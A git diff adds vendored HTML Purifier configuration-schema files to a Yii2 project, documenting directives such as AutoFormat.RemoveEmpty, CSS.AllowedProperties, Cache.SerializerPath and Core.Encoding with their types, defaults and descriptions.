        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt new file mode 100644 index 00000000..34657ba4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt @@ -0,0 +1,46 @@ +AutoFormat.RemoveEmpty +TYPE: bool +VERSION: 3.2.0 +DEFAULT: false +--DESCRIPTION-- +

        + When enabled, HTML Purifier will attempt to remove empty elements that + contribute no semantic information to the document. The following types + of nodes will be removed: +

        +
        • + Tags with no attributes and no content, and that are not empty + elements (remove <a></a> but not + <br />), and +
        • +
        • + Tags with no content, except for:
            +
          • The colgroup element, or
          • +
          • + Elements with the id or name attribute, + when those attributes are permitted on those elements. +
          • +
        • +
        +

        + Please be very careful when using this functionality; while it may not + seem that empty elements contain useful information, they can alter the + layout of a document given appropriate styling. This directive is most + useful when you are processing machine-generated HTML, please avoid using + it on regular user HTML. +

        +

        + Elements that contain only whitespace will be treated as empty. Non-breaking + spaces, however, do not count as whitespace. See + %AutoFormat.RemoveEmpty.RemoveNbsp for alternate behavior. +

        +

        + This algorithm is not perfect; you may still notice some empty tags, + particularly if a node had elements, but those elements were later removed + because they were not permitted in that context, or tags that, after + being auto-closed by another tag, where empty. This is for safety reasons + to prevent clever code from breaking validation. The general rule of thumb: + if a tag looked empty on the way in, it will get removed; if HTML Purifier + made it empty, it will stay. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt new file mode 100644 index 00000000..dde990ab --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt @@ -0,0 +1,11 @@ +AutoFormat.RemoveSpansWithoutAttributes +TYPE: bool +VERSION: 4.0.1 +DEFAULT: false +--DESCRIPTION-- +

        + This directive causes span tags without any attributes + to be removed. It will also remove spans that had all attributes + removed during processing. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt new file mode 100644 index 00000000..b324608f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt @@ -0,0 +1,8 @@ +CSS.AllowImportant +TYPE: bool +DEFAULT: false +VERSION: 3.1.0 +--DESCRIPTION-- +This parameter determines whether or not !important cascade modifiers should +be allowed in user CSS. If false, !important will stripped. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt new file mode 100644 index 00000000..748be0ee --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt @@ -0,0 +1,11 @@ +CSS.AllowTricky +TYPE: bool +DEFAULT: false +VERSION: 3.1.0 +--DESCRIPTION-- +This parameter determines whether or not to allow "tricky" CSS properties and +values. Tricky CSS properties/values can drastically modify page layout or +be used for deceptive practices but do not directly constitute a security risk. +For example, display:none; is considered a tricky property that +will only be allowed if this directive is set to true. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt new file mode 100644 index 00000000..3fd46540 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt @@ -0,0 +1,12 @@ +CSS.AllowedFonts +TYPE: lookup/null +VERSION: 4.3.0 +DEFAULT: NULL +--DESCRIPTION-- +

        + Allows you to manually specify a set of allowed fonts. If + NULL, all fonts are allowed. This directive + affects generic names (serif, sans-serif, monospace, cursive, + fantasy) as well as specific font families. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt new file mode 100644 index 00000000..460112eb --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt @@ -0,0 +1,18 @@ +CSS.AllowedProperties +TYPE: lookup/null +VERSION: 3.1.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + If HTML Purifier's style attributes set is unsatisfactory for your needs, + you can overload it with your own list of tags to allow. Note that this + method is subtractive: it does its job by taking away from HTML Purifier + usual feature set, so you cannot add an attribute that HTML Purifier never + supported in the first place. +

        +

        + Warning: If another directive conflicts with the + elements here, that directive will win and override. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt new file mode 100644 index 00000000..5cb7dda3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt @@ -0,0 +1,11 @@ +CSS.DefinitionRev +TYPE: int +VERSION: 2.0.0 +DEFAULT: 1 +--DESCRIPTION-- + +

        + Revision identifier for your custom definition. See + %HTML.DefinitionRev for details. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt new file mode 100644 index 00000000..f1f5c5f1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt @@ -0,0 +1,13 @@ +CSS.ForbiddenProperties +TYPE: lookup +VERSION: 4.2.0 +DEFAULT: array() +--DESCRIPTION-- +

        + This is the logical inverse of %CSS.AllowedProperties, and it will + override that directive or any other directive. If possible, + %CSS.AllowedProperties is recommended over this directive, + because it can sometimes be difficult to tell whether or not you've + forbidden all of the CSS properties you truly would like to disallow. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt new file mode 100644 index 00000000..7a329147 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt @@ -0,0 +1,16 @@ +CSS.MaxImgLength +TYPE: string/null +DEFAULT: '1200px' +VERSION: 3.1.1 +--DESCRIPTION-- +

        + This parameter sets the maximum allowed length on img tags, + effectively the width and height properties. + Only absolute units of measurement (in, pt, pc, mm, cm) and pixels (px) are allowed. This is + in place to prevent imagecrash attacks, disable with null at your own risk. + This directive is similar to %HTML.MaxImgLength, and both should be + concurrently edited, although there are + subtle differences in the input format (the CSS max is a number with + a unit). +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt new file mode 100644 index 00000000..148eedb8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt @@ -0,0 +1,10 @@ +CSS.Proprietary +TYPE: bool +VERSION: 3.0.0 +DEFAULT: false +--DESCRIPTION-- + +

        + Whether or not to allow safe, proprietary CSS values. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt new file mode 100644 index 00000000..e733a61e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt @@ -0,0 +1,9 @@ +CSS.Trusted +TYPE: bool +VERSION: 4.2.1 +DEFAULT: false +--DESCRIPTION-- +Indicates whether or not the user's CSS input is trusted or not. If the +input is trusted, a more expansive set of allowed properties. See +also %HTML.Trusted. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt new file mode 100644 index 00000000..c486724c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt @@ -0,0 +1,14 @@ +Cache.DefinitionImpl +TYPE: string/null +VERSION: 2.0.0 +DEFAULT: 'Serializer' +--DESCRIPTION-- + +This directive defines which method to use when caching definitions, +the complex data-type that makes HTML Purifier tick. Set to null +to disable caching (not recommended, as you will see a definite +performance degradation). + +--ALIASES-- +Core.DefinitionCache +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt new file mode 100644 index 00000000..54036507 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt @@ -0,0 +1,13 @@ +Cache.SerializerPath +TYPE: string/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + Absolute path with no trailing slash to store serialized definitions in. + Default is within the + HTML Purifier library inside DefinitionCache/Serializer. This + path must be writable by the webserver. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt new file mode 100644 index 00000000..b2b83d9a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt @@ -0,0 +1,11 @@ +Cache.SerializerPermissions +TYPE: int +VERSION: 4.3.0 +DEFAULT: 0755 +--DESCRIPTION-- + +

        + Directory permissions of the files and directories created inside + the DefinitionCache/Serializer or other custom serializer path. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt new file mode 100644 index 00000000..568cbf3b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt @@ -0,0 +1,18 @@ +Core.AggressivelyFixLt +TYPE: bool +VERSION: 2.1.0 +DEFAULT: true +--DESCRIPTION-- +

        + This directive enables aggressive pre-filter fixes HTML Purifier can + perform in order to ensure that open angled-brackets do not get killed + during parsing stage. Enabling this will result in two preg_replace_callback + calls and at least two preg_replace calls for every HTML document parsed; + if your users make very well-formed HTML, you can set this directive false. + This has no effect when DirectLex is used. +

        +

        + Notice: This directive's default turned from false to true + in HTML Purifier 3.2.0. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt new file mode 100644 index 00000000..2c910cc7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt @@ -0,0 +1,16 @@ +Core.AllowHostnameUnderscore +TYPE: bool +VERSION: 4.6.0 +DEFAULT: false +--DESCRIPTION-- +

        + By RFC 1123, underscores are not permitted in host names. + (This is in contrast to the specification for DNS, RFC + 2181, which allows underscores.) + However, most browsers do the right thing when faced with + an underscore in the host name, and so some poorly written + websites are written with the expectation this should work. + Setting this parameter to true relaxes our allowed character + check so that underscores are permitted. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt new file mode 100644 index 00000000..d7317911 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt @@ -0,0 +1,12 @@ +Core.CollectErrors +TYPE: bool +VERSION: 2.0.0 +DEFAULT: false +--DESCRIPTION-- + +Whether or not to collect errors found while filtering the document. This +is a useful way to give feedback to your users. Warning: +Currently this feature is very patchy and experimental, with lots of +possible error messages not yet implemented. It will not cause any +problems, but it may not help your users either. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt new file mode 100644 index 00000000..c572c14e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt @@ -0,0 +1,29 @@ +Core.ColorKeywords +TYPE: hash +VERSION: 2.0.0 +--DEFAULT-- +array ( + 'maroon' => '#800000', + 'red' => '#FF0000', + 'orange' => '#FFA500', + 'yellow' => '#FFFF00', + 'olive' => '#808000', + 'purple' => '#800080', + 'fuchsia' => '#FF00FF', + 'white' => '#FFFFFF', + 'lime' => '#00FF00', + 'green' => '#008000', + 'navy' => '#000080', + 'blue' => '#0000FF', + 'aqua' => '#00FFFF', + 'teal' => '#008080', + 'black' => '#000000', + 'silver' => '#C0C0C0', + 'gray' => '#808080', +) +--DESCRIPTION-- + +Lookup array of color names to six digit hexadecimal number corresponding +to color, with preceding hash mark. Used when parsing colors. The lookup +is done in a case-insensitive manner. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt new file mode 100644 index 00000000..64b114fc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt @@ -0,0 +1,14 @@ +Core.ConvertDocumentToFragment +TYPE: bool +DEFAULT: true +--DESCRIPTION-- + +This parameter determines whether or not the filter should convert +input that is a full document with html and body tags to a fragment +of just the contents of a body tag. This parameter is simply something +HTML Purifier can do during an edge-case: for most inputs, this +processing is not necessary. + +--ALIASES-- +Core.AcceptFullDocuments +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt new file mode 100644 index 00000000..36f16e07 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt @@ -0,0 +1,17 @@ +Core.DirectLexLineNumberSyncInterval +TYPE: int +VERSION: 2.0.0 +DEFAULT: 0 +--DESCRIPTION-- + +

        + Specifies the number of tokens the DirectLex line number tracking + implementations should process before attempting to resyncronize the + current line count by manually counting all previous new-lines. When + at 0, this functionality is disabled. Lower values will decrease + performance, and this is only strictly necessary if the counting + algorithm is buggy (in which case you should report it as a bug). + This has no effect when %Core.MaintainLineNumbers is disabled or DirectLex is + not being used. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt new file mode 100644 index 00000000..1cd4c2c9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt @@ -0,0 +1,14 @@ +Core.DisableExcludes +TYPE: bool +DEFAULT: false +VERSION: 4.5.0 +--DESCRIPTION-- +

        + This directive disables SGML-style exclusions, e.g. the exclusion of + <object> in any descendant of a + <pre> tag. Disabling excludes will allow some + invalid documents to pass through HTML Purifier, but HTML Purifier + will also be less likely to accidentally remove large documents during + processing. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt new file mode 100644 index 00000000..ce243c35 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt @@ -0,0 +1,9 @@ +Core.EnableIDNA +TYPE: bool +DEFAULT: false +VERSION: 4.4.0 +--DESCRIPTION-- +Allows international domain names in URLs. This configuration option +requires the PEAR Net_IDNA2 module to be installed. It operates by +punycoding any internationalized host names for maximum portability. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt new file mode 100644 index 00000000..8bfb47c3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt @@ -0,0 +1,15 @@ +Core.Encoding +TYPE: istring +DEFAULT: 'utf-8' +--DESCRIPTION-- +If for some reason you are unable to convert all webpages to UTF-8, you can +use this directive as a stop-gap compatibility change to let HTML Purifier +deal with non UTF-8 input. This technique has notable deficiencies: +absolutely no characters outside of the selected character encoding will be +preserved, not even the ones that have been ampersand escaped (this is due +to a UTF-8 specific feature that automatically resolves all +entities), making it pretty useless for anything except the most I18N-blind +applications, although %Core.EscapeNonASCIICharacters offers fixes this +trouble with another tradeoff. This directive only accepts ISO-8859-1 if +iconv is not enabled. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt new file mode 100644 index 00000000..a3881be7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt @@ -0,0 +1,12 @@ +Core.EscapeInvalidChildren +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +

        Warning: this configuration option is no longer does anything as of 4.6.0.

        + +

        When true, a child is found that is not allowed in the context of the +parent element will be transformed into text as if it were ASCII. When +false, that element and all internal tags will be dropped, though text will +be preserved. There is no option for dropping the element but preserving +child nodes.

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt new file mode 100644 index 00000000..a7a5b249 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt @@ -0,0 +1,7 @@ +Core.EscapeInvalidTags +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +When true, invalid tags will be written back to the document as plain text. +Otherwise, they are silently dropped. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt new file mode 100644 index 00000000..abb49994 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt @@ -0,0 +1,13 @@ +Core.EscapeNonASCIICharacters +TYPE: bool +VERSION: 1.4.0 +DEFAULT: false +--DESCRIPTION-- +This directive overcomes a deficiency in %Core.Encoding by blindly +converting all non-ASCII characters into decimal numeric entities before +converting it to its native encoding. This means that even characters that +can be expressed in the non-UTF-8 encoding will be entity-ized, which can +be a real downer for encodings like Big5. It also assumes that the ASCII +repetoire is available, although this is the case for almost all encodings. +Anyway, use UTF-8! +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt new file mode 100644 index 00000000..915391ed --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt @@ -0,0 +1,19 @@ +Core.HiddenElements +TYPE: lookup +--DEFAULT-- +array ( + 'script' => true, + 'style' => true, +) +--DESCRIPTION-- + +

        + This directive is a lookup array of elements which should have their + contents removed when they are not allowed by the HTML definition. + For example, the contents of a script tag are not + normally shown in a document, so if script tags are to be removed, + their contents should be removed to. This is opposed to a b + tag, which defines some presentational changes but does not hide its + contents. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt new file mode 100644 index 00000000..233fca14 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt @@ -0,0 +1,10 @@ +Core.Language +TYPE: string +VERSION: 2.0.0 +DEFAULT: 'en' +--DESCRIPTION-- + +ISO 639 language code for localizable things in HTML Purifier to use, +which is mainly error reporting. There is currently only an English (en) +translation, so this directive is currently useless. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt new file mode 100644 index 00000000..8983e2cc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt @@ -0,0 +1,34 @@ +Core.LexerImpl +TYPE: mixed/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + This parameter determines what lexer implementation can be used. The + valid values are: +

        +
        +
        null
        +
        + Recommended, the lexer implementation will be auto-detected based on + your PHP-version and configuration. +
        +
        string lexer identifier
        +
        + This is a slim way of manually overridding the implementation. + Currently recognized values are: DOMLex (the default PHP5 +implementation) + and DirectLex (the default PHP4 implementation). Only use this if + you know what you are doing: usually, the auto-detection will + manage things for cases you aren't even aware of. +
        +
        object lexer instance
        +
        + Super-advanced: you can specify your own, custom, implementation that + implements the interface defined by HTMLPurifier_Lexer. + I may remove this option simply because I don't expect anyone + to use it. +
        +
        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt new file mode 100644 index 00000000..eb841a75 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt @@ -0,0 +1,16 @@ +Core.MaintainLineNumbers +TYPE: bool/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + If true, HTML Purifier will add line number information to all tokens. + This is useful when error reporting is turned on, but can result in + significant performance degradation and should not be used when + unnecessary. This directive must be used with the DirectLex lexer, + as the DOMLex lexer does not (yet) support this functionality. + If the value is null, an appropriate value will be selected based + on other configuration. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt new file mode 100644 index 00000000..d77f5360 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt @@ -0,0 +1,11 @@ +Core.NormalizeNewlines +TYPE: bool +VERSION: 4.2.0 +DEFAULT: true +--DESCRIPTION-- +

        + Whether or not to normalize newlines to the operating + system default. When false, HTML Purifier + will attempt to preserve mixed newline files. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt new file mode 100644 index 00000000..4070c2a0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt @@ -0,0 +1,12 @@ +Core.RemoveInvalidImg +TYPE: bool +DEFAULT: true +VERSION: 1.3.0 +--DESCRIPTION-- + +

        + This directive enables pre-emptive URI checking in img + tags, as the attribute validation strategy is not authorized to + remove elements from the document. Revert to pre-1.3.0 behavior by setting to false. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt new file mode 100644 index 00000000..3397d9f7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt @@ -0,0 +1,11 @@ +Core.RemoveProcessingInstructions +TYPE: bool +VERSION: 4.2.0 +DEFAULT: false +--DESCRIPTION-- +Instead of escaping processing instructions in the form <? ... +?>, remove it out-right. This may be useful if the HTML +you are validating contains XML processing instruction gunk, however, +it can also be user-unfriendly for people attempting to post PHP +snippets. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt new file mode 100644 index 00000000..a4cd966d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txt @@ -0,0 +1,12 @@ +Core.RemoveScriptContents +TYPE: bool/null +DEFAULT: NULL +VERSION: 2.0.0 +DEPRECATED-VERSION: 2.1.0 +DEPRECATED-USE: Core.HiddenElements +--DESCRIPTION-- +

        + This directive enables HTML Purifier to remove not only script tags + but all of their contents. +

